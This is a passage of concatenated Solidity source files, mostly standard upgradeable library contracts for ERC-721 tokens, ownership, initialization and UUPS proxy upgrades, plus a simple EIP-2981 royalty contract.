{tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./interfaces/IERC2981Upgradeable.sol"; /// /// @dev EIP-2981: NFT Royalty Standard /// abstract contract ERC2981Upgradeable is Initializable, ERC721Upgradeable, IERC2981Upgradeable { function __ERC2981_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC2981_init_unchained(); } // solhint-disable-next-line no-empty-blocks function __ERC2981_init_unchained() internal initializer {} // Address of who should be sent the royalty payment address private _royaltyReceiver; // Share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) uint256 private _royaltyBps; /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param - the NFT asset queried for royalty information * @param salePrice_ - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256, uint256 salePrice_) external view virtual override returns (address receiver, uint256 royaltyAmount) { receiver = _royaltyReceiver; royaltyAmount = (salePrice_ * _royaltyBps) / 10000; } /** * @dev A method to update royalty information. * @param receiver_ - the address of who should be sent the royalty payment * @param royaltyBps_ - the share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) */ function _setRoyaltyInfo(address receiver_, uint256 royaltyBps_) internal virtual { _royaltyReceiver = receiver_; _royaltyBps = royaltyBps_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(ERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this 